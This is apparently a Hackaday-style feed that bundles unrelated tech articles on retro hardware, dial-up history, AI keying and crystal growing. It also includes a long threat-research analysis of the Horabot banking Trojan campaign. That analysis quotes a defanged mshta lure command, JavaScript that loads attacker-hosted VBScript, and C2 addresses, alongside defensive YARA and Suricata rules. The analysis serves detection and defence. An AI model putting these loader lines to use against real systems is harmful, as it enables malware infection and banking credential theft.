How often have you pulled out old MCU-based project that still works fine, but you have no idea where the original source code has gone? Having the binary image and the source code as separate things to keep track of usually isn’t a problem, but there’s something to be said for adding the source — and documentation — to this image if you have some flash to spare. This is basically what the Forgetfulino Arduino library by [Nader Al Khatib] does.

Essentially, the library compresses the source files and assigns it to be burned onto the flash alongside the binary. There is also a bit of code added to the firmware so that this code can be retrieved via the serial port at any time, negating the need for a firmware dump and manual disassembly. For ease of use, the library has an Arduino IDE extension that automates the process. The basic idea could also be adapted to different environments should anyone wish to take up the challenge.

You probably wouldn’t want debug builds to feature this additional payload as writing it to flash will eat up time and write cycles. But for a release build that will be put out in the (literal) field for a few years or even decades, it could be very convenient. After all, you never know when that Git repository that you relied on might go AWOL.

hackaday.com/2026/03/18/forget…

In the early days of the Internet, having a high-speed IP connection in your home or even a small business was, if not impossible, certainly a rarity. Connecting to a computer in those days required you to use your phone. Early modems used acoustic couplers, but by the time most people started trying to connect, modems that plugged into your phone jack were the norm.

The problem was: whose computer did you call? There were commercial dial-up services like DIALOG that offered very expensive services, such as database searches via modem. That could be expensive. You had a fee for the phone. Then you might have a per-minute charge for the phone call, especially if the computer was in another city. Then you had to pay the service provider, which could be very expensive.

Even before the consumer Internet, this wasn’t workable. Tymnet and Telenet were two services that had the answer. They maintained banks of modems practically everywhere. You dialed a local number, which was probably a “free” call included in your monthly bill, and then used a simple command to connect to a remote computer of your choice. There were other competitors, including CompuServe, which would become a major force in the fledgling consumer market.

While some local internet service providers (ISPs) had their own modem banks, when you saw the rise of national ISPs, they were riding on one of several nationwide modem systems and paying by the minute for the privilege. Eventually, some ISPs reached the scale that made dedicated modem banks worthwhile. This made it easier to offer flat-rate pricing, and the presumed likelihood of everyone dialing in at once made it possible to oversubscribe any given number of modems.

The Cost

Once consumer services like CompuServe, The Source, and AOL started operations, the cost was less, but still not inexpensive. Some early services charged higher rates during business hours, for example. There was also the cost of a phone line, and if you didn’t want to tie up your home phone, you needed a second line dedicated to the modem. It all added up.

By the late 1990s, a dial-up provider might cost you $25 a month or less, not counting your phone line. That’s about $60 in today’s money, just for reference. But the Internet was also booming as a place to sell advertising.

Mad Men

Today, a few large companies dominate online advertising. However, in 1990, the field was crowded, and everyone was rushing to find a way to effectively advertise to Internet users.
Pick up your free CD at your local K-Mart.
A company called FreeInet thought it had the answer. Give people free dial-up service and make them watch ads to generate revenue. NetZero bought the company in 1998 and helped it grow explosively. You could argue that FreeInet was the first successful free dial-up company.

There were other companies in the space, too, such as Juno (which started out offering only e-mail) and BlueLight, which was run by retailer K-Mart, hoping that people would use their free Internet access to shop at K-Mart (spoiler: they didn’t). K-Mart actually cobranded with a free ISP called Spinway, and it was widely reported that people who used the service were not more likely to buy from K-Mart. Instead, they went where everyone went: chat rooms, music download sites, and, of course, adult sites.

But the free market was mostly NetZero and Juno. NetZero even advertised on TV, as you can see below. NetZero even had a patent. They sued Juno over that patent, although the two companies would eventually merge.

youtube.com/embed/5MOlWH1gbmY?…

At least the ad wasn’t as suggestive as the one we remember from Juno.

youtube.com/embed/BiZESkbH_G4?…

Of course, this is all in the US. In the UK, where, at the time, there were no free local calls, Freeserve became a big player in free Internet access in conjunction with a major British electronics retailer.

The Product

Some free providers showed ads in a window or otherwise inserted them into your browsing experience. They could gather demographic data on where and how you were browsing, and that was also a viable product. If nothing else, if you were at a car website, the service could show you ads for cars, for example, and either charge the advertiser more or, at least, expect a better result.

There were other earlier schemes like Bigger.net, which promised lifetime access for $59. What could go wrong? There were limited tests of ad-supported access, and even a company that wanted to give you network access bundled with long-distance service. That lasted a month.

Of course, there were hacks. You could move the ad window off-screen, for example. There were programs that would keep the connection alive since most would time out rather quickly.

While Internet ad rates were artificially high, the concept made sense. At the time, people were trying to map traditional print ads’ costs to the Internet. Not only was this too high, but it also overlooks the fact that the Internet is perfect for paying on performance. Just showing an ad to 1,000 people (some of whom have it blocked, anyway) isn’t worth much. You want clicks or, even better, conversions.

But the dot-com crash around 2000, along with a glut of online advertising venues, saw a collapse of the ad market. Even K-Mart started offering a limited amount of free service with a cheap plan if you needed more or wanted extra features. United Online, the fusion of NetZero and Juno, also switched to a “freemium” model.

Enter Broadband

The death knell of dial-up ISPs, including the free ones, came as broadband penetrated more and more households. Why tie up a phone line and dial up at 56K when you could have a connection “always on” and with speeds at least 20 times higher? Apparently, NetZero didn’t get the message, judging by the ad below.

youtube.com/embed/JKD4pOsrLGw?…

NetZero does still exist, or at least, they have a home page. We couldn’t get any of the links to work.

However, these innovative free ISPs were trailblazers on ad-supported Internet services. They were also among the first to adopt freemium pricing. Even more, we suspect it drove more people towards the Internet. Everyone loves something for free, and while you might not want to pay AOL $22 a month just to see if you would like being online, you certainly would grab a free CD and get online.

Dial-up still hangs on, though. Even AOL offered it until recently.

hackaday.com/2026/03/18/the-ri…

Introduction

In this installment of our SOC Files series, we will walk you through a targeted campaign that our MDR team identified and hunted down a few months ago. It involves a threat known as Horabot, a bundle consisting of an infamous banking Trojan, an email spreader, and a notably complex attack chain.

Although previous research has documented Horabot campaigns (here and here), our goal is to highlight how active this threat remains and to share some aspects not covered in those analyses.

The starting point

As usual, our story begins with an alert that popped up in one of our customers’ environments. The rule that triggered it is generic yet effective at detecting suspicious mshta activity. The case progressed from that initial alert, but fortunately ended on a positive note. Kaspersky Endpoint Security intervened, terminated the malicious process (via a proactive defense module (PDM)) and removed the related files before the threat could progress any further.

The incident was then brought up for discussion at one of our weekly meetings. That was enough to spark the curiosity of one of our analysts, who then delved deeper into the tradecraft behind this campaign.

The attack chain

After some research and a lot of poking around in the adversary infrastructure, our team managed to map out the end-to-end kill chain. In this section, we will break down each stage and explain how the operation unfolds.

Stage 1: Initial lure

Following the breadcrumbs observed in the reported incident, the activity appears to begin with a standard fake CAPTCHA page. In the incident mentioned above, this page was located at the URL evs.grupotuis[.]buzz/0capcha17… (details about its content can be found here).

Fake CAPTCHA page at the URL evs.grupotuis[.]buzz/0capcha17…

Similar to the Lumma and Amadey cases, this page instructs the user to open the Run dialog, paste a malicious command into it and then run it. Once deceived, the victim pastes a command similar to the one below:
mshta evs.grupotuis[.]buzz/0capcha17…
This command retrieved and executed an HTA file that contained the following:

It is essentially a small loader. When executed, it opens a blank window, then immediately pulls and runs an external JavaScript payload hosted on the attacker’s domain. The body contains a large block of random, meaningless text that serves purely as filler.

Stage 2: A pinch of server-side polymorphism

The payload loaded by the HTA file dynamically creates a new <script> element, sets its source to an external VBScript hosted on another attacker-controlled domain, and injects it into the <head> section of a page hardcoded in the HTA. You can see the full content of the page in the box below. Once appended, the external VBScript is immediately fetched and executed, advancing the attack to its next stage.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/ld1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
The next-stage VBS content resembles the example shown below. During our analysis, we observed the use of server-side polymorphism because each access to the same resource returned a slightly different version of the code while preserving the same functionality.

The script is obfuscated and employs a custom string encoding routine. Below is a more readable version with its strings decoded and replaced using a small Python script that replicates the decode_str() routine.

The script performs pretty much the same function as the initial HTA file. It reaches a JavaScript loader that injects and executes another polymorphic VBScript.
var scriptEle = document.createElement("script");
scriptEle.setAttribute("src", "https://pdj.gruposhac[.]lat/g1/");
scriptEle.setAttribute("type", "text/vbscript");
document.getElementsByTagName('head')[0].appendChild(scriptEle);
Unlike the first script, this one is significantly more complex, with more than 400 lines of code. It acts as the heavy lifter of the operation. Below is a brief summary of its key characteristics:

• Heavy obfuscation: the script uses multiple layers of obfuscation to obscure its behavior.
• Custom string decoder: employs the same decoding routine found in the first VBScript to reconstruct strings at runtime.
• Anti-VM and “anti-Avast”: performs basic environment checks and terminates if a specific Avast folder or VM artifacts are detected.
• Information gathering and exfiltration: collects the host IP, hostname, username, and OS version, then sends this data to a C2 server.
• Download of additional components: retrieves an AutoIt executable, its compiler (Aut2Exe), a script (au3), and a blob file, placing them under the hardcoded path C:\Users\Public\LAPTOP-0QF0NEUP4.
• PowerShell command execution: executes PowerShell commands that reach out to two different URLs (one unavailable and the other leading to the first stager of the spreader, which we describe later in this article).
• Persistence setup: creates a LNK file and drops it into the Startup folder to maintain persistence.
• Cleanup routines: removes temporary files and terminates selected processes.

During our analysis of the heavy lifter, specifically within the exfiltration routine, we identified where the collected data was being sent. After probing the associated URL and removing the “salvar.php” portion, we uncovered an exposed webpage where the adversary listed all their victims.

As you may have noticed, the table is in Brazilian Portuguese and lists victims dating back to May 2025 (this screenshot was taken in September 2025). In the “Localização” (location) column, the adversary even included the victims’ geographic coordinates, which are redacted in the screenshot. A quick breakdown shows that, of the 5384 victims, 5030 were located in Mexico, representing roughly 93% of the total.

Stage 3: The evil combination of AutoIT and a banking Trojan

It is now time to focus on the files downloaded by our heavy lifter. As previously mentioned, three AutoIT components were dropped on disk: the executable (AutoIT3), the compiler (Aut2Exe), and the script (au3), along with an encrypted blob file. Since we have access to the AutoIt script code, we can analyze its routines. However, it contains over 750 lines of heavily obfuscated code, so let’s focus only on what really matters.

The most important routine is responsible for decrypting the blob file (it uses AES-192 with a key derived from the seed value 99521487), loading it directly into memory, and then calling the exported function B080723_N. The decrypted blob is a DLL.

We also managed to replicate the decryption logic with a Python script and manually extract the DLL (0x6272EF6AC1DE8FB4BDD4A760BE7BA5ED). After initial triage and basic sandbox execution, we observed the following:

• The sample is a well-known Delphi banking Trojan detected by several engines under different names, such as Casbaneiro, Ponteiro, Metamorfo, and Zusy.

• It embeds two old OpenSSL libraries (libeay32.dll and ssleay32.dll) from the Indy Project, an open-source client/server communications library used to establish client/server HTTPS C2 communication.

• It includes SQL commands used to harvest credentials from browsers.

Once loaded into memory, the Trojan sends several HTTP requests to different URLs:

Since this malware family has been extensively documented in previous studies, we won’t reiterate its well-known functionality. Instead, we’ll focus on lesser-documented and newly observed features, including the malware’s encryption and protocol handling logic.

The sample implements a stateful XOR-subtraction cipher in the sub_00A86B64 subroutine, which is used to protect strings and decrypt HTTP data received from the C2. Unlike simple XOR, each byte of output here depends on both the key and the previous byte. In our sample, the key is the string "0xFF0wx8066h".

Key construction (left) and decryption logic (right)

We can easily reimplement the logic of the routine in Python and integrate the following snippet into our workflow to automate string decryption:
def decrypt_string(encrypted_hex):
key_string = "0xFF0wx8066h"
key_index = 0
result = ""

current_key = int(encrypted_hex[0:2], 16)

i = 2
while i < len(encrypted_hex):
next_key = int(encrypted_hex[i:i+2], 16)
if key_index >= len(key_string):
key_index = 0
key_char = ord(key_string[key_index])
xored_value = next_key ^ key_char

if xored_value > current_key:
decrypted_char = xored_value - current_key
else:
decrypted_char = (xored_value + 0xFF) - current_key

result += chr(decrypted_char)
current_key = next_key
key_index += 1
i += 2

return result
Python implementation of the decryption routine

The encrypted strings can be retrieved in three different ways: through indexed lookups using a global encrypted Delphi string list (also observed by our colleagues at ESET); via direct references to encrypted hex strings in the data section; through indirect references using pointer variables, adding an overhead when automating decryption with scripts.

Direct pointer (left), indirect pointer (right)

Indexed strings via TStringList lookups

The malware fetches its configuration by performing an HTTPS GET request to the hardcoded, encrypted C2 server. The server responds with a configuration – a raw HTTP response – consisting of several values, each individually encrypted with the aforementioned algorithm. The sample extracts specific parameters based on their position in the list.

Decrypted configuration values (root password redacted)

To improve readability, the above screenshot has been edited to include the decrypted parameters, which are separated by double newlines.

Configuration retrieval and parsing are initiated in the sub_00AD2C70 subroutine where the first configuration value, the C2 socket connection setting (host;port), is extracted.

C2 socket address extraction

If parsing fails, the malware falls back to a hardcoded secondary C2 socket address. The socket connection is then established.

Fallback to hardcoded socket address (lifenews[.]pro:49569)

Additional configuration values are parsed in sub_00AD2918 and its subroutines. For example, in the decrypted C2 configuration shown above, parameter 5 contains the “UPON” string that triggers execution, and parameter 6 contains the PowerShell commands that are run when this string is used. Below is the portion of the routine that takes care of parsing this command:

Extracting value 5 and 6 from the configuration

In addition to HTTP communication, the malware supports raw socket communication using a custom protocol that encapsulates commands into tags such as <|SIMPLE_TAG|> or <|TAG|>Arg1<|>Arg2<<|>.

The client initiates the C2 connection in sub_00AD331C, where it establishes a TCP socket to the operator’s server and sends the "PRINCIPAL" command to request a control channel. After receiving an OK response, it follows up with an "Info" message containing system details. Once validated, the server replies with a "SocketMain" message containing a session ID, completing the handshake. All subsequent command handling occurs in sub_00AD373C, a central orchestrator routine that parses incoming messages and dispatches the malicious actions.

The sample, and therefore the protocol itself, is inherited, from the open-source Delphi Remote Access PC project, as our colleagues at ESET have noted in the past. Below is a visual comparison:

Comparison of “PING” and “Close” commands (sample disassembly on the left, Delphi Remote Access source code on the right)

Some features from the open-source project, including the chat and file manipulation commands, have been removed, while some mouse-related commands have been renamed with playful prefixes like “LULUZ” (e.g., LULUZLD, LULUZPos). This could be an inside joke, anti-analysis obfuscation, or a way to mark custom variants. Beyond the standard functionality, the protocol now includes a range of additional custom commands, such as LULUZSD for mouse wheel scrolling down, ENTERMANDA to simulate pressing the Enter key, and COLADIFKEYBOARD to inject arbitrary text as keystrokes.

The full command set is considerably larger, and while not all commands are implemented in the analyzed sample, evidence of their presence (e.g., in the form of strings) suggests ongoing development.

After getting a sense of the protocol, let’s focus on the cipher used. In this sample, traffic exchanged via the C2 socket channel is encrypted using another stateful XOR algorithm with embedded decryption keys. Its logic is implemented in the routines sub_00A9F2D0 (encryption) and sub_00A9F5C0 (decryption):

Encryption routine sub_00A9F2D0

The encryption routine generates three random four-digit integer keys. The first key acts as the initial cipher state, while the other two serve as the multiplier and increment that are applied at every encryption stage to both the state and the data. For each character in the input string, it takes the high byte of the current state, XORs it with the character to encrypt, and then updates the cipher state for the next character. The output is created by appending the three keys to the ciphertext, encapsulating everything within the “##” markers. The final output looks like this:
##[key1][key2][key3][encrypted_hex_data]##
Here’s a Python snippet to decode such traffic:
def deobfuscate_traffic(obfuscated):
if not (obfuscated.startswith("##") and obfuscated.endswith("##")):
raise ValueError("Invalid format")

core = obfuscated[2:-2]

key1 = int(core[0:4])
key2 = int(core[4:8])
key3 = int(core[8:12])

hex_data = core[12:]

current_key = key1
output_chars =

[] for i in range(0, len(hex_data), 2):
xored = int(hex_data[i:i+2], 16)

high_byte = (current_key >> 8) & 0xFF
original_char = chr(xored ^ high_byte)
output_chars.append(original_char)

current_key = ((current_key + xored) * key2 + key3) & 0xFFFF

return "".join(output_chars)
Although this encryption layer was likely intended to evade network inspection, it ironically makes detection easier due to its highly regular and repetitive structure. This pattern, including the external markers “##”, is uncommon in legitimate traffic and can be used as a reliable network signature for IDS/IPS systems. Below is a Suricata rule that matches the described structure:
alert tcp any any -> any any ( \
msg:"Horabot C2 socket communication (##hex##)"; \
flow:established; \
content:"##"; depth:2; fast_pattern; \
content:"##"; endswith; \
pcre:"/^##[1-9][0-9]{3}[1-9][0-9]{3}[1-9][0-9]{3}[0-9A-F]+##$/"; \
classtype:trojan-activity; \
sid:1900000; \
rev:1; \
metadata:author Domenico; \
)
As documented by our colleagues at Fortinet, the malware contains functionality to display fake pop-ups prompting victims to enter their banking credentials. The images for these pop-ups are stored as encrypted resources. Unlike strings, resources are decrypted using the standard RC4 cipher, and the key pega-avisao3234029284 is retrieved from the previous TStringList structure at offset 3FEh.

Fake token overlay used for credential theft (right), with disassembly (left)

The wordplay around “pega a visão”, Brazilian slang meaning “get the picture” figuratively, reveals an intentional cultural reference, supporting the already well-known Brazilian ties of the operators who have a native understanding of the language.

Below is a collage of pictures where the targeted bank overlays are visible.

Excerpt of decrypted fake overlays

Stage 4: The spreader

In our tests, we noticed that both the VBScript (the heavy lifter) and the Delphi DLL have overlapping functionality for downloading the next stage via PowerShell. Although they rely on different domains, they follow the same URL pattern.

We tried accessing URLs meant for downloading the spreader. One returned nothing, while the other displayed a sequence of two PowerShell stagers before reaching the actual spreader.

In the second stager, we found several Base64-encoded URLs, but only one of them was active during our analysis. Based on comments found in the spreader code, we suspect that in previous versions or campaigns the spreader was assembled piece by piece from these other URLs. In our case, however, a single URL contained all the necessary code.

Yes, we also wondered how PowerShell could possibly accept ASCII chaos as variable/function names, but it does. After cleaning up the messy naming convention and reviewing the well-commented routines (thanks, threat actor), we were able to identify its main duties:

• Harvest emails via the MAPI namespace;
• Exfiltrate unique email addresses to the C2;
• Clean up the outbox;
• Filter the exfiltrated email addresses against a blocklist of keywords;
• Prepare a phishing email containing a malicious PDF;
• Mass-distribute the email to the filtered addresses.

One interesting point is that the spreader’s code and comments allow us to extract some useful intel:

• All comments are written in Brazilian Portuguese, which gives a strong indication of the threat actor’s origin.
• It is fairly easy to distinguish comments written by a human from those most likely generated by an AI/LLM; the latter are too formal and remarkably well-formatted. One of the human comments actually inspired the title of this article.
• One of the comments in the code reads “limpa a caixa de saida antes de sapecar”. Sapecar has a very specific meaning that only Brazilian Portuguese speakers would naturally understand. The closest equivalent to this comment in English would be: “Clear the outbox before you blast it off or let it rip.”

Our team tracked Horabot activity for a few months and compiled a collection of malicious attachment examples used in this campaign. They are all written in Spanish and urge the user to click a large button in the document to access a “confidential file” or an “invoice”. Clicking the button triggers the same infection chain described in this article.

Detection engineering and threat hunting opportunities

After navigating this long, layered attack chain, we bet some of the tech folks reading this have already started imagining potential detection opportunities.
With that in mind, this section provides some rules and queries that you can use to detect and hunt this threat in your own environment.

YARA rules

The YARA rules focus on two core components of the operation: the AutoIt script that functions as the loader, and the Delphi DLL that serves as the banking Trojan.
import "pe"

rule Horabot_Delphi_Trojan
{
meta:
author = "maT"
description = "Detects Horabot payload/trojan (Delphi DLL)"
hash_01 = "6272ef6ac1de8fb4bdd4a760be7ba5ed"
hash_02 = "4caa797130b5f7116f11c0b48013e430"
hash_03 = "c882d948d44a65019df54b0b2996677f"

condition:
uint32be(0) == 0x4d5a5000 and
filesize < 150MB and
pe.is_dll() and
pe.number_of_exports == 4 and
pe.exports("dbkFCallWrapperAddr") and
pe.exports("__dbk_fcall_wrapper") and
pe.exports("TMethodImplementationIntercept") and
pe.exports(/^[A-Z][0-9]{6}_[A-Z0-9]$/)
}

rule Horabot_AutoIT_Loader
{
meta:
author = "maT"
description = "Detects AutoIT script used as a loader by Horabot"

strings:
$winapi_01 = "Advapi32.dll"
$winapi_02 = "CryptDeriveKey"
$winapi_03 = "CryptDecrypt"
$winapi_04 = "MemoryLoadLibrary"
$winapi_05 = "VirtualAlloc"
$winapi_06 = "DllCallAddress"

$str_seed = "99521487"
$str_func01 = "B080723_N"
$str_func02 = "A040822_1"

$opt_hexstr01 = { 20 3D 20 22 ?? ?? ?? ?? ?? ?? ?? 5F ?? 22 20 0D 0A 4C 6F 63 61 6C 20 24} // = "B080723_N" CRLF Local $
$opt_aes192 = "0x0000660f" // CALG_AES_192
$opt_md5 = "0x00008003" // CALG_MD5

condition:
filesize < 100KB and
all of ($winapi*) and
(
1 of ($str*) or
all of ($opt*)
)

}

Hunting queries

You may notice that some patterns in this section do not appear in the URLs described earlier in the article. These additional patterns were included because we observed small variations introduced by the threat actor over time, such as the use of QR codes in the lure pages.

IoCs

securelist.com/horabot-campaig…

You may not have noticed, but so-called “artificial intelligence” is slightly controversial in the arts world. Illustrators, graphics artists, visual effects (VFX) professionals — anybody who pushes pixels around are the sort of people you’d expect to hate and fear the machines that trained on stolen work to replace them. So, when we heard in a recent video that [Niko] of Corridor Digital had released an AI VFX tool, we were interested. What does it look like when the artist is the one coding the AI?

It looks amazing, both visually and conceptually. Conceptually, because it takes one of the most annoying parts of the VFX pipeline — cleaning up chroma key footage — and automates it so the artists in front of the screen can get to the fun parts of the job. That’s exactly what a tool should do: not do the job for them, but enable them to enjoy doing it, or do it better. It looks amazing visually, because as you can see in the embedded video, it works very, very well.

Chroma keying semi-transparent elements is notoriously difficult.
For the uninitiated, chroma keying removes one specific ‘key’ color from images, hence the green or blue screens you always see in behind-the-scenes footage. The chroma key is set to remove the selected color, and all the fancy CGI effects can show through instead. If you’ve never played with the technology before, you might not see the appeal of this new AI tool, after all, green screen seems like it should be a pretty automated process already. You tell the computer what counts as green, and it eliminates it, right?

Theoretically, yes, but in practice that’s very often not good enough. A great deal of very tedious frame-by-frame touch-up is often needed to get a truly professional result.

Unless, that is, you can harness a neural network to do it for you. Which [Niko] has. Even better, he’s released the software under a modified Creative Commons BY-NC-SA 4.0 license so we can all benefit from his work. The project documentation goes a good job of explaining what the software does and how it works, and the video below more-or-less defines the problem and demonstrates the solution.

Interestingly, [Niko] is part of the crew who recreated Disney’s lost sodium-light keying a couple of years back. Evidently they went back to regular green screen if this tool was needed. Something about the way green screen enables virtual set making must have given it an edge over the old sodium process. Feel free to chime in below if you know the full details.

youtube.com/embed/3Ploi723hg4?…

Thanks to [piachoo] for the tip!

hackaday.com/2026/03/18/corrid…

Although it dates back to the early days of the Marconi Company in the 1920s, the Franklin oscillator has remained a relatively obscure circuit, its memory mostly kept alive by ham radio operators who prize its high stability at higher frequencies. At the core of the circuit is an LC tank circuit, a fact which [nobcha] used to build quite a precise LC meter.

The meter is built around two parts: the Franklin oscillator, which resonates at a frequency defined by its inductance and capacitance, and an Arduino which counts the frequency of the signal. In operation, the Arduino measures the frequency of the original LC circuit, then measures again after another element (capacitor or inductor) has been added to the circuit. By measuring how much the resonant frequency changes, it’s possible to determine the value of the new element.

Before operation, the meter must be calibrated with a known reference capacitor to determine the values of the base LC circuit. In one iteration of the design, this was done automatically using a relay, while in a later version a manual switch connects the reference capacitor. Because the meter measures frequency differences and not absolute values, it minimizes parasitic effects. In testing, it was capable of measuring inductances as low as 0.1 µH.

We’ve seen a few homebrew LC meters here, some battery-powered and some rather professional.

hackaday.com/2026/03/18/buildi…

Some FDM filaments are pretty brittle even if properly dried and stored, especially those which contain carbon fiber (CF) or similar additives like glass fiber (GF). This poses a problem in that these filaments can snap even within the PTFE tube as they’re being guided towards the extruder. Here a community theory is that having an actively heated chamber can help prevent this scenario, but is it actually true? [Dr. Igor Gaspar] of the My Tech Fun YouTube channel gave this myth a try to either confirm or bust it.

The comments suggested that heating the chamber to 65°C will help, but there’s little information online to support this theorem. To test the claim, a heated chamber was used along with a bending rig to see at which angle the filament would snap. In total five different filaments from three manufacturers (Polymaker, Qidi and YXPolyer) were tested, including Qidi’s PET-GF and PAHT-GF as the sole non-CF filaments.

A big question is how long exactly the filament will spend inside the heated chamber after making its way from the spool, which would be about 2.5 minutes with a 500 mm tube. For the test 5 minutes was used for the best possible result. Despite this, the results show that even with the standard deviation kept in mind, the heating actually seems to make the filaments even more brittle.

Considering that in general CF seems to simply weaken the polymer matrix after printing, this finding adds to the question of whether these CF and GF-infused filaments make any sense at all.

youtube.com/embed/Ob9AduDa-Vc?…

hackaday.com/2026/03/17/testin…

Many substances display crystallization, allowing them to keep adding to a basic shape to reach pretty humongous proportions. Although we usually tend to think of pretty stones that get fashioned into jewelry or put up for display, sugar also crystallizes and thus you can create pretty large sugar crystals. How to do this is demonstrated by [Chase] of Crystalverse fame in a recent video.

This is effectively a follow-up to a 2022 blog article in which [Chase] showed a few ways to create pretty table sugar (sucrose) based crystals. In that article the growth of single sucrose crystals was attempted, but a few additional crystals got stuck to the main crystal so that it technically wasn’t a single crystal any more.

With this new method coarse sugar is used both for seed crystals as well as for creating the syrupy liquid from mixing 100 mL of water with 225 grams of sugar. Starting a single crystal is attempted by using thin fishing wire in a small vessel with the syrup and some seed crystals, hoping that a crystal will lodge to said fishing wire.

After a few attempts this works and from there the crystals can be suspended in the large jar with syrup to let them continue growing. It’s important to cover the jar during this period, as more crystals will form in the syrup over time, requiring occasional removal of these stray ones.

Naturally this process takes a while, with a solid week required to get a sizeable crystal as in the video. After this the crystal is effectively just a very large version of the sugar crystals in that 1 kg bag from the supermarket, ergo it will dissolve again just as easily. If you want a more durable crystal that’s equally easy to grow, you can toss some vinegar and scrap copper together to create very pretty, albeit toxic, copper(II) acetate crystals.

youtube.com/embed/shhJGp5h53Y?…

hackaday.com/2026/03/17/how-to…

Iomega’s Zip drives filled an interesting niche back in the 1990s. A magnetic disk that was physically floppy-sized, but much larger in capacity– starting at 100 MB, and reaching 750 MB by the end–they never quite had universal appeal, but never really went away until flash memory chased them out of the marketplace in the early 2000s. While not everyone is going to miss them, some of us still think it’s a better form factor than having a USB stick awkwardly protruding from a computer, or microSD cards that are barely large enough to see with the naked eye. [Minh Danh] is one of those who still has affection for Zip drives, and when his parallel port Zip 100 drive started to give up the ghost last year, he decided to do something bold: reverse engineer it, and produce an emulator. First software, and then in hardware.
It’s not the prettiest-ever prototype, but lots of great things start with a mess of wires.
The first was to create a virtual zip drive that could run on a virtual machine and be accessed with DOS or Windows up to XP. The next task was to move that functionality onto a microcontroller to create something like a GoTek floppy emulator for LPT Zip drives that he’s calling the LPT100. Yes, Zip drives were built for APATI, SCSI, FireWire and USB, too, but [Minh]’s was on the parallel port and that’s what he wanted to replace, so the LPT interface is what set out to recreate.

It works, too, though took more guts than was expected– the 8-bit PIC18F4680 he started with just wasn’t up to the task. He moved up to a 32-bit PIC, the PIC32MZ2048EFH144 to be specific, which proved adaquate when testing with his Book 8088, a new DOS PC from 2023. Iomega’s official driver won’t run on an 8088, but the PALMZIP utility does and was able to transfer files, though only at the slow nibble rate due to limitations with the Book8088’s LPT hardware. Watch it in action below.

Alas, moving up to the Pocket386, it seemed the PIC just could not keep up. [Minh] says he’s thinking of moving to the faster Teensy 4.1, which sounds like a good idea. Considering the Teensy can be configured to serve as a drop-in replacement for a 68000, bit-banging the bus at 7.8 MHz, we’d think it should handle anything a parallel port can throw at it.

Thanks to [Minh Danh] for the tip!

youtube.com/embed/340J7vItfPw?…

hackaday.com/2026/03/17/zip-dr…